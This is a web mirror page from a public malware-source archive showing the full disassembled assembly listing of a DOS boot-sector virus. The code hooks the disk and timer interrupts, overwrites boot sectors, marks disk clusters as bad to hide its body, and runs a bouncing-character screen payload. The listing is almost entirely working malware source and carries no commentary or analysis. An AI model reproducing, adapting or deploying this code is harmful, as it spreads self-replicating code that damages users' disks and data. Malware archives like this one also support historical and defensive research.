mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-26 05:15:28 +00:00
514 lines
9.4 KiB
NASM
514 lines
9.4 KiB
NASM
jmp short loc_3
|
||
nop
|
||
dec cx
|
||
inc dx
|
||
dec bp
|
||
and [bx+si],ah
|
||
xor bp,data_10
|
||
add al,[si]
|
||
data_14 dw 1
|
||
add al,[bx+si]
|
||
add bh,[bp+di]
|
||
mov data_12,al
|
||
add [bx+di],dl
|
||
add [si],al
|
||
add [bx+di],dl
|
||
add [bp+di],dh
|
||
loc_3:
|
||
xor ax,ax
|
||
mov ss,ax
|
||
mov sp,7C00h
|
||
mov ds,ax
|
||
mov ax,data_5
|
||
sub ax,2
|
||
mov data_5,ax
|
||
mov cl,6
|
||
shl ax,cl ; Shift w/zeros fill
|
||
sub ax,7C0h
|
||
mov es,ax
|
||
mov si,7C00h
|
||
mov di,si
|
||
mov cx,100h
|
||
rep movsw ; Rep while cx>0 Mov [si] to es:[di]
|
||
db 8Eh
|
||
db 0C8h
|
||
push cs
|
||
pop ds
|
||
call sub_1
|
||
|
||
;==========================================================================
|
||
; SUBROUTINE
|
||
;==========================================================================
|
||
|
||
sub_1 proc near
|
||
xor ah,ah ; Zero register
|
||
int 13h ; Disk dl=drive b: ah=func 00h
|
||
; reset disk, al=return status
|
||
and data_24,80h
|
||
mov bx,data_25
|
||
push cs
|
||
pop ax
|
||
sub ax,20h
|
||
mov es,ax
|
||
call sub_3
|
||
mov bx,data_25
|
||
inc bx
|
||
mov ax,0FFC0h
|
||
mov es,ax
|
||
call sub_3
|
||
xor ax,ax ; Zero register
|
||
mov data_23,al
|
||
mov ds,ax
|
||
mov ax,data_3
|
||
mov bx,data_4
|
||
mov data_3,7CD0h
|
||
mov data_4,cs
|
||
push cs
|
||
pop ds
|
||
mov data_19,ax
|
||
mov data_20,bx
|
||
mov dl,data_24
|
||
jmp far ptr loc_2
|
||
sub_1 endp
|
||
|
||
|
||
;==========================================================================
|
||
; SUBROUTINE
|
||
;==========================================================================
|
||
|
||
sub_2 proc near
|
||
mov ax,301h
|
||
jmp short loc_4
|
||
|
||
;==== External Entry into Subroutine ======================================
|
||
|
||
sub_3:
|
||
mov ax,201h
|
||
loc_4:
|
||
xchg ax,bx
|
||
add ax,data_18
|
||
xor dx,dx ; Zero register
|
||
div data_16 ; ax,dxrem=dx:ax/data
|
||
inc dl
|
||
mov ch,dl
|
||
xor dx,dx ; Zero register
|
||
div data_17 ; ax,dxrem=dx:ax/data
|
||
mov cl,6
|
||
shl ah,cl ; Shift w/zeros fill
|
||
or ah,ch
|
||
mov cx,ax
|
||
xchg ch,cl
|
||
mov dh,dl
|
||
mov ax,bx
|
||
|
||
;==== External Entry into Subroutine ======================================
|
||
|
||
sub_4:
|
||
mov dl,data_24
|
||
mov bx,8000h
|
||
int 13h ; Disk dl=drive b: ah=func 02h
|
||
; read sectors to memory es:bx
|
||
jnc loc_ret_5 ; Jump if carry=0
|
||
pop ax
|
||
|
||
loc_ret_5:
|
||
retn
|
||
sub_2 endp
|
||
|
||
push ds
|
||
push es
|
||
push ax
|
||
push bx
|
||
push cx
|
||
push dx
|
||
push cs
|
||
pop ds
|
||
push cs
|
||
pop es
|
||
test data_23,1
|
||
jnz loc_8 ; Jump if not zero
|
||
cmp ah,2
|
||
jne loc_8 ; Jump if not equal
|
||
cmp data_24,dl
|
||
mov data_24,dl
|
||
jnz loc_7 ; Jump if not zero
|
||
xor ah,ah ; Zero register
|
||
int 1Ah ; Real time clock ah=func 00h
|
||
; get system timer count cx,dx
|
||
test dh,7Fh
|
||
jnz loc_6 ; Jump if not zero
|
||
test dl,0F0h
|
||
jnz loc_6 ; Jump if not zero
|
||
push dx
|
||
call sub_6
|
||
pop dx
|
||
loc_6:
|
||
mov cx,dx
|
||
sub dx,data_26
|
||
mov data_26,cx
|
||
sub dx,24h
|
||
jc loc_8 ; Jump if carry Set
|
||
loc_7:
|
||
or data_23,1
|
||
push si
|
||
push di
|
||
call sub_5
|
||
pop di
|
||
pop si
|
||
and data_23,0FEh
|
||
loc_8:
|
||
pop dx
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
pop es
|
||
pop ds
|
||
jmp far ptr loc_38
|
||
|
||
;==========================================================================
|
||
; SUBROUTINE
|
||
;==========================================================================
|
||
|
||
sub_5 proc near
|
||
mov ax,201h
|
||
mov dh,0
|
||
mov cx,1
|
||
call sub_4
|
||
test data_24,80h
|
||
jz loc_11 ; Jump if zero
|
||
mov si,81BEh
|
||
mov cx,4
|
||
|
||
locloop_9:
|
||
cmp data_8[si],1
|
||
je loc_10 ; Jump if equal
|
||
cmp data_8[si],4
|
||
je loc_10 ; Jump if equal
|
||
add si,10h
|
||
loop locloop_9 ; Loop if cx > 0
|
||
|
||
retn
|
||
loc_10:
|
||
mov dx,[si]
|
||
mov cx,data_7[si]
|
||
mov ax,201h
|
||
call sub_4
|
||
loc_11:
|
||
mov si,8002h
|
||
mov di,7C02h
|
||
mov cx,1Ch
|
||
rep movsb ; Rep while cx>0 Mov [si] to es:[di]
|
||
cmp data_46,1357h
|
||
jne loc_13 ; Jump if not equal
|
||
cmp data_45,0
|
||
jae loc_ret_12 ; Jump if above or =
|
||
mov ax,data_43
|
||
mov data_22,ax
|
||
mov si,data_44
|
||
jmp loc_23
|
||
|
||
loc_ret_12:
|
||
retn
|
||
loc_13:
|
||
cmp data_37,200h
|
||
jne loc_ret_12 ; Jump if not equal
|
||
cmp data_38,2
|
||
jb loc_ret_12 ; Jump if below
|
||
mov cx,data_39
|
||
mov al,data_40
|
||
cbw ; Convrt byte to word
|
||
mul data_42 ; ax = data * ax
|
||
add cx,ax
|
||
mov ax,20h
|
||
mul data_41 ; ax = data * ax
|
||
add ax,1FFh
|
||
mov bx,200h
|
||
div bx ; ax,dx rem=dx:ax/reg
|
||
add cx,ax
|
||
mov data_22,cx
|
||
mov ax,data_15
|
||
sub ax,data_22
|
||
mov bl,data_13
|
||
xor dx,dx ; Zero register
|
||
xor bh,bh ; Zero register
|
||
div bx ; ax,dx rem=dx:ax/reg
|
||
inc ax
|
||
mov di,ax
|
||
and data_23,0FBh
|
||
cmp ax,0FF0h
|
||
jbe loc_14 ; Jump if below or =
|
||
or data_23,4
|
||
loc_14:
|
||
mov si,1
|
||
mov bx,data_14
|
||
dec bx
|
||
mov data_21,bx
|
||
mov data_27,0FEh
|
||
jmp short loc_15
|
||
data_21 dw 1Ah
|
||
data_22 dw 73h
|
||
data_23 db 4
|
||
data_24 db 81h
|
||
data_25 dw 654Bh
|
||
add data_9[bx],dl
|
||
push bp
|
||
stosb ; Store al to es:[di]
|
||
loc_15:
|
||
inc data_21
|
||
mov bx,data_21
|
||
add data_27,2
|
||
call sub_3
|
||
jmp short loc_20
|
||
loc_16:
|
||
mov ax,3
|
||
test data_23,4
|
||
jz loc_17 ; Jump if zero
|
||
inc ax
|
||
loc_17:
|
||
mul si ; dx:ax = reg * ax
|
||
shr ax,1 ; Shift w/zeros fill
|
||
sub ah,data_27
|
||
mov bx,ax
|
||
cmp bx,1FFh
|
||
jae loc_15 ; Jump if above or =
|
||
mov dx,data_36[bx]
|
||
test data_23,4
|
||
jnz loc_19 ; Jump if not zero
|
||
mov cl,4
|
||
test si,1
|
||
jz loc_18 ; Jump if zero
|
||
shr dx,cl ; Shift w/zeros fill
|
||
loc_18:
|
||
and dh,0Fh
|
||
loc_19:
|
||
test dx,0FFFFh
|
||
jz loc_21 ; Jump if zero
|
||
loc_20:
|
||
inc si
|
||
cmp si,di
|
||
jbe loc_16 ; Jump if below or =
|
||
retn
|
||
loc_21:
|
||
mov dx,0FFF7h
|
||
test data_23,4
|
||
jnz loc_22 ; Jump if not zero
|
||
and dh,0Fh
|
||
mov cl,4
|
||
test si,1
|
||
jz loc_22 ; Jump if zero
|
||
shl dx,cl ; Shift w/zeros fill
|
||
loc_22:
|
||
or data_36[bx],dx
|
||
mov bx,data_21
|
||
call sub_2
|
||
mov ax,si
|
||
sub ax,2
|
||
mov bl,data_13
|
||
xor bh,bh ; Zero register
|
||
mul bx ; dx:ax = reg * ax
|
||
add ax,data_22
|
||
mov si,ax
|
||
mov bx,0
|
||
call sub_3
|
||
mov bx,si
|
||
inc bx
|
||
call sub_2
|
||
loc_23:
|
||
mov bx,si
|
||
mov data_25,si
|
||
push cs
|
||
pop ax
|
||
sub ax,20h
|
||
mov es,ax
|
||
call sub_2
|
||
push cs
|
||
pop ax
|
||
sub ax,40h
|
||
mov es,ax
|
||
mov bx,0
|
||
call sub_2
|
||
retn
|
||
sub_5 endp
|
||
|
||
data_26 dw 246Eh
|
||
data_27 db 32h
|
||
|
||
;==========================================================================
|
||
; SUBROUTINE
|
||
;==========================================================================
|
||
|
||
sub_6 proc near
|
||
test data_23,2
|
||
jnz loc_ret_24 ; Jump if not zero
|
||
or data_23,2
|
||
mov ax,0
|
||
mov ds,ax
|
||
mov ax,data_1
|
||
mov bx,data_2
|
||
mov data_1,7EDFh
|
||
mov data_2,cs
|
||
push cs
|
||
pop ds
|
||
mov data_28,ax
|
||
mov data_29,bx
|
||
|
||
loc_ret_24:
|
||
retn
|
||
sub_6 endp
|
||
|
||
push ds
|
||
push ax
|
||
push bx
|
||
push cx
|
||
push dx
|
||
push cs
|
||
pop ds
|
||
mov ah,0Fh
|
||
int 10h ; Video display ah=functn 0Fh
|
||
; get state, al=mode, bh=page
|
||
mov bl,al
|
||
cmp bx,data_34
|
||
je loc_27 ; Jump if equal
|
||
mov data_34,bx
|
||
dec ah
|
||
mov data_35,ah
|
||
mov ah,1
|
||
cmp bl,7
|
||
jne loc_25 ; Jump if not equal
|
||
dec ah
|
||
loc_25:
|
||
cmp bl,4
|
||
jae loc_26 ; Jump if above or =
|
||
dec ah
|
||
loc_26:
|
||
mov data_33,ah
|
||
mov data_31,101h
|
||
mov data_32,101h
|
||
mov ah,3
|
||
int 10h ; Video display ah=functn 03h
|
||
; get cursor loc in dx, mode cx
|
||
push dx
|
||
mov dx,data_31
|
||
jmp short loc_29
|
||
loc_27:
|
||
mov ah,3
|
||
int 10h ; Video display ah=functn 03h
|
||
; get cursor loc in dx, mode cx
|
||
push dx
|
||
mov ah,2
|
||
mov dx,data_31
|
||
int 10h ; Video display ah=functn 02h
|
||
; set cursor location in dx
|
||
mov ax,data_30
|
||
cmp data_33,1
|
||
jne loc_28 ; Jump if not equal
|
||
mov ax,8307h
|
||
loc_28:
|
||
mov bl,ah
|
||
mov cx,1
|
||
mov ah,9
|
||
int 10h ; Video display ah=functn 09h
|
||
; set char al & attrib ah @curs
|
||
loc_29:
|
||
mov cx,data_32
|
||
cmp dh,0
|
||
jne loc_30 ; Jump if not equal
|
||
xor ch,0FFh
|
||
inc ch
|
||
loc_30:
|
||
cmp dh,18h
|
||
jne loc_31 ; Jump if not equal
|
||
xor ch,0FFh
|
||
inc ch
|
||
loc_31:
|
||
cmp dl,0
|
||
jne loc_32 ; Jump if not equal
|
||
xor cl,0FFh
|
||
inc cl
|
||
loc_32:
|
||
cmp dl,data_35
|
||
jne loc_33 ; Jump if not equal
|
||
xor cl,0FFh
|
||
inc cl
|
||
loc_33:
|
||
cmp cx,data_32
|
||
jne loc_35 ; Jump if not equal
|
||
mov ax,data_30
|
||
and al,7
|
||
cmp al,3
|
||
jne loc_34 ; Jump if not equal
|
||
xor ch,0FFh
|
||
inc ch
|
||
loc_34:
|
||
cmp al,5
|
||
jne loc_35 ; Jump if not equal
|
||
xor cl,0FFh
|
||
inc cl
|
||
loc_35:
|
||
add dl,cl
|
||
add dh,ch
|
||
mov data_32,cx
|
||
mov data_31,dx
|
||
mov ah,2
|
||
int 10h ; Video display ah=functn 02h
|
||
; set cursor location in dx
|
||
mov ah,8
|
||
int 10h ; Video display ah=functn 08h
|
||
; get char al & attrib ah @curs
|
||
mov data_30,ax
|
||
mov bl,ah
|
||
cmp data_33,1
|
||
jne loc_36 ; Jump if not equal
|
||
mov bl,83h
|
||
loc_36:
|
||
mov cx,1
|
||
mov ax,907h
|
||
int 10h ; Video display ah=functn 09h
|
||
; set char al & attrib ah @curs
|
||
pop dx
|
||
mov ah,2
|
||
int 10h ; Video display ah=functn 02h
|
||
; set cursor location in dx
|
||
pop dx
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
pop ds
|
||
jmp far ptr loc_1
|
||
data_30 dw 0
|
||
data_31 dw 101h
|
||
data_32 dw 101h
|
||
data_33 db 0
|
||
data_34 dw 0FFFFh
|
||
data_35 db 50h
|
||
mov bh,0B7h
|
||
mov bh,0B6h
|
||
inc ax
|
||
inc ax
|
||
mov dh,bl
|
||
out 5Ah,al ; port 5Ah
|
||
lodsb ; String [si] to al
|
||
shl ah,cl ; Shift w/zeros fill
|
||
jmp far ptr loc_39
|
||
inc ax
|
||
db 64h
|
||
pop sp
|
||
db 60h
|
||
push dx
|
||
inc ax
|
||
inc ax
|
||
inc ax
|
||
inc ax
|
||
db 64h
|
||
db 62h
|
||
pop si
|
||
db 62h
|
||
db 60h
|
||
pop si
|
||
jo loc_37 ; Jump if overflow=1
|
||
inc ax
|
||
inc cx
|
||
mov bh,0B7h
|
||
mov bh,0B6h
|
||
|
||
|